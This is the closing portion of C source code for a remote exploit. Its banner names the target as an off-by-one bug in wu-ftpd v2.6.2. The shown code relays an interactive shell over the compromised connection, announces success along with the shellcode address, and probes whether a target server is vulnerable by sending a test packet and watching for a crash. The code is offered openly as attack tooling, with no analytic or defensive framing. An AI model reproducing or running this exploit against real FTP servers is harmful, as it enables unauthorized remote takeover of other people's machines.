				{
				fprintf(stderr," [-] exploit failure.\n\n");
					return;
				}
				else
				{
	fprintf(stdout," [*] exploit successfully ! (&shellcode_addr: %p)\n\n",scs_addr);
					exit(NRL);
				}
			}
			readbuf[died]=(NRL);
			fprintf(stdout,"%s",readbuf);
		}
		if(FD_ISSET(STDIN_FILENO,&rset))
		{
			died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
			if(died>(NRL))
			{
				readbuf[died]=(NRL);
				if(strstr(readbuf,"exit"))
					ex_t=(SCS);
				write(conn_sock,readbuf,died);
			}
		}
	}
	return;
}

void re_connt(int st_sock_va)
{
	if(st_sock_va==(FAD))
	{
		fprintf(stdout," [ Fail ]\n\n");
		exit(FAD);
	}
}

void banrl()
{
fprintf(stdout,"\n 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one remote exploit.\n\n");
}

int check_exp(int sock)
{
	int conn_died;
	char gt_bf[(GET_R)];

	fprintf(stdout,"\n [+] Check exploit test ...\n");
	send(sock,"X82\r\n",strlen("X82\r\n"),(NRL)); /* test packet */
	(u_int)sleep(SCS);
	memset((char *)gt_bf,(NRL),sizeof(gt_bf));
	conn_died=read(sock,gt_bf,sizeof(gt_bf)-1);

	if(strstr(gt_bf,(CMD_ERROR)))
	{
		fprintf(stdout," [X] After test exploit, wu-ftpd is alive.\n");
		return(FAD);
	}
	else if(conn_died<=(NRL))
	{
		fprintf(stdout," [*] Ok, This is vulnerable version.\n\n");
		return(SCS);
	}
	else return(FAD);
}

/* eoc */